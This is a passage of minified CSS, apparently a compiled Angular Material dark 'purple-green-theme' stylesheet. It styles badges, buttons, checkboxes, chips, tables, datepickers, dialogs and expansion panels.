.mat-elevation-z21{box-shadow:0 10px 13px -6px #0003,0 21px 33px 3px #00000024,0 8px 40px 7px #0000001f}.purple-green-theme .mat-elevation-z22{box-shadow:0 10px 14px -6px #0003,0 22px 35px 3px #00000024,0 8px 42px 7px #0000001f}.purple-green-theme .mat-elevation-z23{box-shadow:0 11px 14px -7px #0003,0 23px 36px 3px #00000024,0 9px 44px 8px #0000001f}.purple-green-theme .mat-elevation-z24{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.purple-green-theme .mat-autocomplete-panel{background:#424242;color:#fff}.purple-green-theme .mat-autocomplete-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.purple-green-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover){background:#424242}.purple-green-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover):not(.mat-option-disabled){color:#fff}.purple-green-theme .mat-badge{position:relative}.purple-green-theme .mat-badge.mat-badge{overflow:visible}.purple-green-theme .mat-badge-hidden .mat-badge-content{display:none}.purple-green-theme .mat-badge-content{position:absolute;text-align:center;display:inline-block;border-radius:50%;transition:transform .2s ease-in-out;transform:scale(.6);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;pointer-events:none}.purple-green-theme .ng-animate-disabled .mat-badge-content,.purple-green-theme .mat-badge-content._mat-animation-noopable{transition:none}.purple-green-theme .mat-badge-content.mat-badge-active{transform:none}.purple-green-theme .mat-badge-small .mat-badge-content{width:16px;height:16px;line-height:16px}.purple-green-theme .mat-badge-small.mat-badge-above .mat-badge-content{top:-8px}.purple-green-theme .mat-badge-small.mat-badge-below .mat-badge-content{bottom:-8px}.purple-green-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:-16px}[dir=rtl] .purple-green-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:auto;right:-16px}.purple-green-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:-16px}[dir=rtl] .purple-green-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:auto;left:-16px}.purple-green-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-8px}[dir=rtl] .purple-green-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-8px}.purple-green-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-8px}[dir=rtl] .purple-green-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-8px}.purple-green-theme .mat-badge-medium .mat-badge-content{width:22px;height:22px;line-height:22px}.purple-green-theme .mat-badge-medium.mat-badge-above .mat-badge-content{top:-11px}.purple-green-theme .mat-badge-medium.mat-badge-below .mat-badge-content{bottom:-11px}.purple-green-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:-22px}[dir=rtl] .purple-green-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:auto;right:-22px}.purple-green-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:-22px}[dir=rtl] .purple-green-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:auto;left:-22px}.purple-green-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-11px}[dir=rtl] .purple-green-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-11px}.purple-green-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-11px}[dir=rtl] .purple-green-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-11px}.purple-green-theme .mat-badge-large .mat-badge-content{width:28px;height:28px;line-height:28px}.purple-green-theme .mat-badge-large.mat-badge-above .mat-badge-content{top:-14px}.purple-green-theme .mat-badge-large.mat-badge-below .mat-badge-content{bottom:-14px}.purple-green-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:-28px}[dir=rtl] .purple-green-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:auto;right:-28px}.purple-green-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:-28px}[dir=rtl] .purple-green-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:auto;left:-28px}.purple-green-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-14px}[dir=rtl] .purple-green-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-14px}.purple-green-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-14px}[dir=rtl] .purple-green-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-14px}.purple-green-theme .mat-badge-content{color:#fff;background:#7b1fa2}.cdk-high-contrast-active .purple-green-theme .mat-badge-content{outline:solid 1px;border-radius:0}.purple-green-theme .mat-badge-accent .mat-badge-content{background:#69f0ae;color:#000000de}.purple-green-theme .mat-badge-warn .mat-badge-content{color:#fff;background:#f44336}.purple-green-theme .mat-badge-disabled .mat-badge-content{background:#6e6e6e;color:#ffffff80}.purple-green-theme .mat-bottom-sheet-container{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f;background:#424242;color:#fff}.purple-green-theme .mat-button,.purple-green-theme .mat-icon-button,.purple-green-theme .mat-stroked-button{color:inherit;background:transparent}.purple-green-theme .mat-button.mat-primary,.purple-green-theme .mat-icon-button.mat-primary,.purple-green-theme .mat-stroked-button.mat-primary{color:#7b1fa2}.purple-green-theme .mat-button.mat-accent,.purple-green-theme .mat-icon-button.mat-accent,.purple-green-theme .mat-stroked-button.mat-accent{color:#69f0ae}.purple-green-theme .mat-button.mat-warn,.purple-green-theme .mat-icon-button.mat-warn,.purple-green-theme .mat-stroked-button.mat-warn{color:#f44336}.purple-green-theme .mat-button.mat-primary.mat-button-disabled,.purple-green-theme .mat-button.mat-accent.mat-button-disabled,.purple-green-theme .mat-button.mat-warn.mat-button-disabled,.purple-green-theme .mat-button.mat-button-disabled.mat-button-disabled,.purple-green-theme .mat-icon-button.mat-primary.mat-button-disabled,.purple-green-theme .mat-icon-button.mat-accent.mat-button-disabled,.purple-green-theme .mat-icon-button.mat-warn.mat-button-disabled,.purple-green-theme .mat-icon-button.mat-button-disabled.mat-button-disabled,.purple-green-theme .mat-stroked-button.mat-primary.mat-button-disabled,.purple-green-theme .mat-stroked-button.mat-accent.mat-button-disabled,.purple-green-theme .mat-stroked-button.mat-warn.mat-button-disabled,.purple-green-theme .mat-stroked-button.mat-button-disabled.mat-button-disabled{color:#ffffff4d}.purple-green-theme .mat-button.mat-primary .mat-button-focus-overlay,.purple-green-theme .mat-icon-button.mat-primary .mat-button-focus-overlay,.purple-green-theme .mat-stroked-button.mat-primary .mat-button-focus-overlay{background-color:#7b1fa2}.purple-green-theme .mat-button.mat-accent .mat-button-focus-overlay,.purple-green-theme .mat-icon-button.mat-accent .mat-button-focus-overlay,.purple-green-theme .mat-stroked-button.mat-accent .mat-button-focus-overlay{background-color:#69f0ae}.purple-green-theme .mat-button.mat-warn .mat-button-focus-overlay,.purple-green-theme .mat-icon-button.mat-warn .mat-button-focus-overlay,.purple-green-theme .mat-stroked-button.mat-warn .mat-button-focus-overlay{background-color:#f44336}.purple-green-theme .mat-button.mat-button-disabled .mat-button-focus-overlay,.purple-green-theme .mat-icon-button.mat-button-disabled .mat-button-focus-overlay,.purple-green-theme .mat-stroked-button.mat-button-disabled .mat-button-focus-overlay{background-color:transparent}.purple-green-theme .mat-button .mat-ripple-element,.purple-green-theme .mat-icon-button .mat-ripple-element,.purple-green-theme .mat-stroked-button .mat-ripple-element{opacity:.1;background-color:currentColor}.purple-green-theme .mat-button-focus-overlay{background:white}.purple-green-theme .mat-stroked-button:not(.mat-button-disabled){border-color:#ffffff1f}.purple-green-theme .mat-flat-button,.purple-green-theme .mat-raised-button,.purple-green-theme .mat-fab,.purple-green-theme .mat-mini-fab{color:#fff;background-color:#424242}.purple-green-theme .mat-flat-button.mat-primary,.purple-green-theme .mat-raised-button.mat-primary,.purple-green-theme .mat-fab.mat-primary,.purple-green-theme .mat-mini-fab.mat-primary{color:#fff}.purple-green-theme .mat-flat-button.mat-accent,.purple-green-theme .mat-raised-button.mat-accent,.purple-green-theme .mat-fab.mat-accent,.purple-green-theme .mat-mini-fab.mat-accent{color:#000000de}.purple-green-theme .mat-flat-button.mat-warn,.purple-green-theme .mat-raised-button.mat-warn,.purple-green-theme .mat-fab.mat-warn,.purple-green-theme .mat-mini-fab.mat-warn{color:#fff}.purple-green-theme .mat-flat-button.mat-primary.mat-button-disabled,.purple-green-theme .mat-flat-button.mat-accent.mat-button-disabled,.purple-green-theme .mat-flat-button.mat-warn.mat-button-disabled,.purple-green-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.purple-green-theme .mat-raised-button.mat-primary.mat-button-disabled,.purple-green-theme .mat-raised-button.mat-accent.mat-button-disabled,.purple-green-theme .mat-raised-button.mat-warn.mat-button-disabled,.purple-green-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.purple-green-theme .mat-fab.mat-primary.mat-button-disabled,.purple-green-theme .mat-fab.mat-accent.mat-button-disabled,.purple-green-theme .mat-fab.mat-warn.mat-button-disabled,.purple-green-theme .mat-fab.mat-button-disabled.mat-button-disabled,.purple-green-theme .mat-mini-fab.mat-primary.mat-button-disabled,.purple-green-theme .mat-mini-fab.mat-accent.mat-button-disabled,.purple-green-theme .mat-mini-fab.mat-warn.mat-button-disabled,.purple-green-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{color:#ffffff4d}.purple-green-theme .mat-flat-button.mat-primary,.purple-green-theme .mat-raised-button.mat-primary,.purple-green-theme .mat-fab.mat-primary,.purple-green-theme .mat-mini-fab.mat-primary{background-color:#7b1fa2}.purple-green-theme .mat-flat-button.mat-accent,.purple-green-theme .mat-raised-button.mat-accent,.purple-green-theme .mat-fab.mat-accent,.purple-green-theme .mat-mini-fab.mat-accent{background-color:#69f0ae}.purple-green-theme .mat-flat-button.mat-warn,.purple-green-theme .mat-raised-button.mat-warn,.purple-green-theme .mat-fab.mat-warn,.purple-green-theme .mat-mini-fab.mat-warn{background-color:#f44336}.purple-green-theme .mat-flat-button.mat-primary.mat-button-disabled,.purple-green-theme .mat-flat-button.mat-accent.mat-button-disabled,.purple-green-theme .mat-flat-button.mat-warn.mat-button-disabled,.purple-green-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.purple-green-theme .mat-raised-button.mat-primary.mat-button-disabled,.purple-green-theme .mat-raised-button.mat-accent.mat-button-disabled,.purple-green-theme .mat-raised-button.mat-warn.mat-button-disabled,.purple-green-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.purple-green-theme .mat-fab.mat-primary.mat-button-disabled,.purple-green-theme .mat-fab.mat-accent.mat-button-disabled,.purple-green-theme .mat-fab.mat-warn.mat-button-disabled,.purple-green-theme .mat-fab.mat-button-disabled.mat-button-disabled,.purple-green-theme .mat-mini-fab.mat-primary.mat-button-disabled,.purple-green-theme .mat-mini-fab.mat-accent.mat-button-disabled,.purple-green-theme .mat-mini-fab.mat-warn.mat-button-disabled,.purple-green-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{background-color:#ffffff1f}.purple-green-theme .mat-flat-button.mat-primary .mat-ripple-element,.purple-green-theme .mat-raised-button.mat-primary .mat-ripple-element,.purple-green-theme .mat-fab.mat-primary .mat-ripple-element,.purple-green-theme .mat-mini-fab.mat-primary .mat-ripple-element{background-color:#ffffff1a}.purple-green-theme .mat-flat-button.mat-accent .mat-ripple-element,.purple-green-theme .mat-raised-button.mat-accent .mat-ripple-element,.purple-green-theme .mat-fab.mat-accent .mat-ripple-element,.purple-green-theme .mat-mini-fab.mat-accent .mat-ripple-element{background-color:#0000001a}.purple-green-theme .mat-flat-button.mat-warn .mat-ripple-element,.purple-green-theme .mat-raised-button.mat-warn .mat-ripple-element,.purple-green-theme .mat-fab.mat-warn .mat-ripple-element,.purple-green-theme .mat-mini-fab.mat-warn .mat-ripple-element{background-color:#ffffff1a}.purple-green-theme .mat-stroked-button:not([class*=mat-elevation-z]),.purple-green-theme .mat-flat-button:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.purple-green-theme .mat-raised-button:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.purple-green-theme .mat-raised-button:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.purple-green-theme .mat-raised-button.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.purple-green-theme .mat-fab:not([class*=mat-elevation-z]),.purple-green-theme .mat-mini-fab:not([class*=mat-elevation-z]){box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.purple-green-theme .mat-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]),.purple-green-theme .mat-mini-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.purple-green-theme .mat-fab.mat-button-disabled:not([class*=mat-elevation-z]),.purple-green-theme .mat-mini-fab.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.purple-green-theme .mat-button-toggle-standalone:not([class*=mat-elevation-z]),.purple-green-theme .mat-button-toggle-group:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.purple-green-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard:not([class*=mat-elevation-z]),.purple-green-theme .mat-button-toggle-group-appearance-standard:not([class*=mat-elevation-z]){box-shadow:none}.purple-green-theme .mat-button-toggle{color:#ffffff80}.purple-green-theme .mat-button-toggle .mat-button-toggle-focus-overlay{background-color:#ffffff1f}.purple-green-theme .mat-button-toggle-appearance-standard{color:#fff;background:#424242}.purple-green-theme .mat-button-toggle-appearance-standard .mat-button-toggle-focus-overlay{background-color:#fff}.purple-green-theme .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:solid 1px #595959}.purple-green-theme [dir=rtl] .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:solid 1px #595959}.purple-green-theme .mat-button-toggle-group-appearance-standard.mat-button-toggle-vertical .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:none;border-top:solid 1px #595959}.purple-green-theme .mat-button-toggle-checked{background-color:#212121;color:#ffffffb3}.purple-green-theme .mat-button-toggle-checked.mat-button-toggle-appearance-standard{color:#fff}.purple-green-theme .mat-button-toggle-disabled{color:#ffffff4d;background-color:#000}.purple-green-theme .mat-button-toggle-disabled.mat-button-toggle-appearance-standard{background:#424242}.purple-green-theme .mat-button-toggle-disabled.mat-button-toggle-checked{background-color:#424242}.purple-green-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard,.purple-green-theme .mat-button-toggle-group-appearance-standard{border:solid 1px #595959}.purple-green-theme .mat-card{background:#424242;color:#fff}.purple-green-theme .mat-card:not([class*=mat-elevation-z]){box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.purple-green-theme .mat-card.mat-card-flat:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.purple-green-theme .mat-card-subtitle{color:#ffffffb3}.purple-green-theme .mat-checkbox-frame{border-color:#ffffffb3}.purple-green-theme .mat-checkbox-checkmark{fill:#303030}.purple-green-theme .mat-checkbox-checkmark-path{stroke:#303030!important}.purple-green-theme .mat-checkbox-mixedmark{background-color:#303030}.purple-green-theme .mat-checkbox-indeterminate.mat-primary .mat-checkbox-background,.purple-green-theme .mat-checkbox-checked.mat-primary .mat-checkbox-background{background-color:#7b1fa2}.purple-green-theme .mat-checkbox-indeterminate.mat-accent .mat-checkbox-background,.purple-green-theme .mat-checkbox-checked.mat-accent .mat-checkbox-background{background-color:#69f0ae}.purple-green-theme .mat-checkbox-indeterminate.mat-warn .mat-checkbox-background,.purple-green-theme .mat-checkbox-checked.mat-warn .mat-checkbox-background{background-color:#f44336}.purple-green-theme .mat-checkbox-disabled.mat-checkbox-checked .mat-checkbox-background,.purple-green-theme .mat-checkbox-disabled.mat-checkbox-indeterminate .mat-checkbox-background{background-color:#686868}.purple-green-theme .mat-checkbox-disabled:not(.mat-checkbox-checked) .mat-checkbox-frame{border-color:#686868}.purple-green-theme .mat-checkbox-disabled .mat-checkbox-label{color:#ffffff80}.purple-green-theme .mat-checkbox .mat-ripple-element{background-color:#fff}.purple-green-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element,.purple-green-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element{background:#7b1fa2}.purple-green-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element,.purple-green-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element{background:#69f0ae}.purple-green-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element,.purple-green-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element{background:#f44336}.purple-green-theme .mat-chip.mat-standard-chip{background-color:#616161;color:#fff}.purple-green-theme .mat-chip.mat-standard-chip .mat-chip-remove{color:#fff;opacity:.4}.purple-green-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled):active{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.purple-green-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled) .mat-chip-remove:hover{opacity:.54}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-disabled{opacity:.4}.purple-green-theme .mat-chip.mat-standard-chip:after{background:white}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary{background-color:#7b1fa2;color:#fff}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-chip-remove{color:#fff;opacity:.4}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-ripple-element{background-color:#ffffff1a}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn{background-color:#f44336;color:#fff}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-chip-remove{color:#fff;opacity:.4}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-ripple-element{background-color:#ffffff1a}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent{background-color:#69f0ae;color:#000000de}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-chip-remove{color:#000000de;opacity:.4}.purple-green-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-ripple-element{background-color:#0000001a}.purple-green-theme .mat-table{background:#424242}.purple-green-theme .mat-table thead,.purple-green-theme .mat-table tbody,.purple-green-theme .mat-table tfoot,.purple-green-theme mat-header-row,.purple-green-theme mat-row,.purple-green-theme mat-footer-row,.purple-green-theme [mat-header-row],.purple-green-theme [mat-row],.purple-green-theme [mat-footer-row],.purple-green-theme .mat-table-sticky{background:inherit}.purple-green-theme mat-row,.purple-green-theme mat-header-row,.purple-green-theme mat-footer-row,.purple-green-theme th.mat-header-cell,.purple-green-theme td.mat-cell,.purple-green-theme td.mat-footer-cell{border-bottom-color:#ffffff1f}.purple-green-theme .mat-header-cell{color:#ffffffb3}.purple-green-theme .mat-cell,.purple-green-theme .mat-footer-cell{color:#fff}.purple-green-theme .mat-calendar-arrow{fill:#fff}.purple-green-theme .mat-datepicker-toggle,.purple-green-theme .mat-datepicker-content .mat-calendar-next-button,.purple-green-theme .mat-datepicker-content .mat-calendar-previous-button{color:#fff}.purple-green-theme .mat-calendar-table-header-divider:after{background:rgba(255,255,255,.12)}.purple-green-theme .mat-calendar-table-header,.purple-green-theme .mat-calendar-body-label{color:#ffffffb3}.purple-green-theme .mat-calendar-body-cell-content,.purple-green-theme .mat-date-range-input-separator{color:#fff;border-color:transparent}.purple-green-theme .mat-calendar-body-disabled>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){color:#ffffff80}.purple-green-theme .mat-form-field-disabled .mat-date-range-input-separator{color:#ffffff80}.purple-green-theme .mat-calendar-body-in-preview{color:#ffffff3d}.purple-green-theme .mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#ffffff80}.purple-green-theme .mat-calendar-body-disabled>.mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#ffffff4d}.purple-green-theme .mat-calendar-body-in-range:before{background:rgba(123,31,162,.2)}.purple-green-theme .mat-calendar-body-comparison-identical,.purple-green-theme .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.purple-green-theme .mat-calendar-body-comparison-bridge-start:before,.purple-green-theme [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(123,31,162,.2) 50%,rgba(249,171,0,.2) 50%)}.purple-green-theme .mat-calendar-body-comparison-bridge-end:before,.purple-green-theme [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(123,31,162,.2) 50%,rgba(249,171,0,.2) 50%)}.purple-green-theme .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.purple-green-theme .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.purple-green-theme .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.purple-green-theme .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.purple-green-theme .mat-calendar-body-selected{background-color:#7b1fa2;color:#fff}.purple-green-theme .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#7b1fa266}.purple-green-theme .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.purple-green-theme .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.purple-green-theme .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#7b1fa24d}@media (hover: hover){.purple-green-theme .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#7b1fa24d}}.purple-green-theme .mat-datepicker-content{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f;background-color:#424242;color:#fff}.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range:before{background:rgba(105,240,174,.2)}.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical,.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-start:before,.purple-green-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(105,240,174,.2) 50%,rgba(249,171,0,.2) 50%)}.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-end:before,.purple-green-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(105,240,174,.2) 50%,rgba(249,171,0,.2) 50%)}.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-selected{background-color:#69f0ae;color:#000000de}.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#69f0ae66}.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #000000de}.purple-green-theme .mat-datepicker-content.mat-accent .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.purple-green-theme .mat-datepicker-content.mat-accent .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#69f0ae4d}@media (hover: hover){.purple-green-theme .mat-datepicker-content.mat-accent .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#69f0ae4d}}.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range:before{background:rgba(244,67,54,.2)}.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical,.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-start:before,.purple-green-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-end:before,.purple-green-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-selected{background-color:#f44336;color:#fff}.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#f4433666}.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.purple-green-theme .mat-datepicker-content.mat-warn .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.purple-green-theme .mat-datepicker-content.mat-warn .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}@media (hover: hover){.purple-green-theme .mat-datepicker-content.mat-warn .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}}.purple-green-theme .mat-datepicker-content-touch{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.purple-green-theme .mat-datepicker-toggle-active{color:#7b1fa2}.purple-green-theme .mat-datepicker-toggle-active.mat-accent{color:#69f0ae}.purple-green-theme .mat-datepicker-toggle-active.mat-warn{color:#f44336}.purple-green-theme .mat-date-range-input-inner[disabled]{color:#ffffff80}.purple-green-theme .mat-dialog-container{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f;background:#424242;color:#fff}.purple-green-theme .mat-divider{border-top-color:#ffffff1f}.purple-green-theme .mat-divider-vertical{border-right-color:#ffffff1f}.purple-green-theme .mat-expansion-panel{background:#424242;color:#fff}.purple-green-theme .mat-expansion-panel:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.purple-green-theme .mat-action-row{border-top-color:#ffffff1f}.purple-green-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-keyboard-focused:not([aria-disabled=true]),.purple-green-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-program-focused:not([aria-disabled=true]),.purple-green-theme .mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-header:hover:not([aria-disabled=true]){background:rgba(255,255,255,.04)}@media (hover: none){.purple-green-theme .mat-expansion-panel:not(.mat-expanded):not([aria-disabled=true]) .mat-expansion-panel-header:hover{background:#424242}}.purple-green-theme .mat-expansion-panel-header-title{color:#fff}.purple-green-theme .mat-expansion-panel-header-description,.purple-green-theme .mat-expansion-indicator:after{color:#ffffffb3}.purple-green-theme .mat-expansion-panel-header[aria-disabled=true]{color:#ffffff4d}.purple-green-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-title,.purple-green-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-description{color:inherit}.purple-green-theme .mat-form-field-label,.purple-green-theme 